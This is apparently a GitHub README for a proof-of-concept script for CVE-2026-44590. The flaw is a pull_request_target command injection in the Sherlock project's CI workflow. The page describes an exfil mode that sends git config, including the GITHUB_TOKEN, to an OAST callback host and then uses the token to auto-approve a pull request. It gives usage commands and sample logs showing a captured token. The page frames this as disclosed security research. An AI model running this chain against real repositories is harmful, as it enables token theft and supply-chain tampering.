Astaruf/CVE-2026-44590
GitHub: Astaruf/CVE-2026-44590
CVE-2026-44590 的全自动化 PoC 脚本,用于复现和验证 Sherlock 项目 CI 工作流中通过 pull_request_target 注入实现 RCE 并窃取 GITHUB_TOKEN 的供应链攻击漏洞。
Stars: 0 | Forks: 0
# CVE-2026-44590 - sherlock-project/sherlock CI - 通过 pull_request_target 注入实现 RCE → 供应链攻击
```
Fork 该仓库(如果需要),与上游同步(已修复的 master),发起一个恶意 PR,运行攻击链,并报告 `FIX VERIFIED`,因为已修复的工作流会在任何 shell 命令运行之前拦截该 Payload。
### 复现原始漏洞
```
python3 poc.py --fork-owner --vulnerable
```
与上述步骤相同,但首先将 Fork 仓库的 `master` 回退到修复前的提交(`271608fb`)。预期结论:`VULNERABILITY CONFIRMED`。
### 演示完整影响(Token 窃取 + PR 自动批准)
```
python3 poc.py --fork-owner --vulnerable --mode exfil
```
窃取 Payload 会将 `git config --list` 的内容发送到 OAST,并休眠 180 秒,以保持工作流(以及相应的 `GITHUB_TOKEN`)处于活跃状态。在工作流休眠期间,脚本会从 OAST 日志中提取 Token,对其进行解码,并立即调用 GitHub API 批准该 PR。最终,该 PR 会显示为由 `github-actions[bot]` 批准。
## 环境要求
- **Python 3.8+**(无第三方依赖,仅使用标准库)
- **`gh`** (GitHub CLI),已通过身份验证:
gh auth login
- **`git`**
- **`interactsh-client`**(可选但推荐)。安装后,脚本会自动启动它并在脚本内验证回调:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
如果您想使用自己的 OAST 端点(Burp Collaborator、通过 Web UI 使用的 oast.fun、requestbin 等),请通过 `--oast-url` 参数传入,此时将跳过自动验证步骤。
脚本**不需要**提前存在一个 Fork 仓库,它会自动创建一个。
## 模式
### `--mode harmless`(默认)
Payload 是一个带有静态确认字符串的 `curl` POST 请求。不会读取任何机密信息,也不会进行任何 API 调用,唯一的副作用是 OAST 回调。使用此模式可在不暴露任何凭据的情况下确认漏洞是否存在。
### `--mode exfil`
该 Payload 会将 `git config --list`(其中包含以 base64 编码的 `GITHUB_TOKEN`,位于 `http.https://github.com/.extraheader` 配置项下)发送到 OAST,然后休眠 180 秒。随后脚本将:
1. 轮询 OAST 日志,直到数据发送完成。
2. 使用正则表达式提取 base64 数据块。
3. 对其进行解码并以明文形式打印凭据:`x-access-token:ghs_XXXXXXXX...`。
4. 去除 `x-access-token:` 前缀,并使用原始 token 调用 `POST /repos//pulls//reviews`,附带标准的批准 Payload(`{"event":"APPROVE","body":"All checks passed. LGTM!"}`)。
5. 该 PR 将显示为由 `github-actions[bot]` 批准,与合法的 CI 自动化操作毫无区别。
一旦记录了批准操作,脚本就会跳过工作流剩余的 180 秒休眠,因为攻击链已经完成,继续等待 runner 超时没有任何意义。
## 选项
| 标志 | 描述 |
|---|---|
| `--fork-owner ` | **必填。** 拥有(或将拥有)该 Fork 仓库的 GitHub 用户名 |
| `--fork-name ` | Fork 仓库名称(默认:`sherlock`) |
| `--oast-url ` | 接收回调的 OAST 端点。如果省略,脚本会自动启动 `interactsh-client` 并在脚本内执行判定 |
| `--mode harmless\|exfil` | Payload 类型(默认:`harmless`) |
| `--vulnerable` | 强制将 Fork 仓库的 `master` 分支重置到修复前的提交(`271608fb`)。隐含 `--no-sync` 参数 |
| `--no-sync` | 跳过与上游仓库的同步(在测试特定提交时很有用) |
| `--base-branch ` | Fork 仓库上的 PR 目标分支(默认:`master`) |
| `--keep-branch` | 完成后不删除 PoC 分支 |
| `--no-poll` | 跳过工作流运行轮询,在创建 PR 后直接退出 |
## 为什么 PR 目标是 Fork 仓库,而不是上游仓库
根据设计,PoC 发起的 PR **是从 Fork 仓库的一个分支指向该 Fork 仓库自身的 `master` 分支**。它不会直接针对 `sherlock-project/sherlock`。这主要有两个原因。
### 1. 避免公开披露漏洞利用代码
公共仓库上的 Pull Request 对所有人可见。即使 PR 被关闭,diff 差异也会被索引,并且可以通过 Web UI 访问 GitHub Actions 日志。在上游仓库上发起一个包含有效命令注入 Payload 的 PR,实际上等同于在维护者发布修复补丁之前公开了一个可用的漏洞利用代码。任何关注该仓库的人都可以复制该 Payload,将 OAST 回调地址替换为恶意端点,并利用它来窃取真实的 `GITHUB_TOKEN`。
PoC 使用 Fork 到自身 Fork 的 PR 来将漏洞利用代码保持在非公开状态,同时仍然可以端到端地演示该漏洞。
### 2. 复现完全一致的漏洞行为
当你 Fork `sherlock-project/sherlock` 时,工作流文件 `validate_modified_targets.yml` 会包含在 Fork 仓库中。发起一个针对该 Fork 仓库 `master` 分支的 PR,会在该 Fork 仓库的上下文中触发工作流,并使用为该 Fork 仓库签发的 `GITHUB_TOKEN`。其机制与原始攻击完全一致:
- `pull_request_target` 触发器会自动触发
- 工作流在基础仓库的上下文中运行(在此例中即为 Fork 仓库)
- 工作流可以访问其自身的 `GITHUB_TOKEN`
- `actions/checkout` 会通过 `http.https://github.com/.extraheader` 配置项将 token 写入 `.git/config` 中
- 注入的 Payload 可以提取或使用该 token
唯一的区别在于影响范围:该 token 属于 Fork 仓库,而不是 `sherlock-project/sherlock`。漏洞被成功复现,同时其影响被限制在可控范围内。
## 唯一的手动步骤
GitHub 会在新创建的 Fork 仓库中加入一个 UI 横幅以禁用 Actions:
**没有公开的 API** 可以关闭此横幅。脚本会检测到这种情况(Fork 仓库刚刚创建或历史工作流运行次数为零)并暂停,给出清晰的提示:
```
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com//sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
```
在指定的 Fork 仓库上点击一次该横幅后,脚本在后续针对同一 Fork 仓库运行时将不会再次提示。
## 输出示例(存在漏洞,exfil 模式)
```
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
```
## 输出示例(已修复,exfil 模式)
```
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
```
## 免责声明
本仓库仅出于**教育和安全研究目的**发布。该漏洞已按照规范向维护者披露,上游已修复,并已申请 CVE。请勿在您不拥有或未获得明确测试授权的仓库上运行此 PoC。作者不对任何滥用行为负责。
## 许可证
[MIT](LICENSE)
标签:CI/CD安全, CVE-2026-44590, CWE-77, CWE-78, GitHub Actions, GITHUB_TOKEN窃取, GitHub安全, Llama, PoC, pull_request_target, RCE, Sherlock, 供应链攻击, 信息泄露, 协议分析, 命令注入, 暴力破解, 权限提升, 结构化查询, 编程工具, 自动化安全, 自动笔记, 远程代码执行, 逆向工具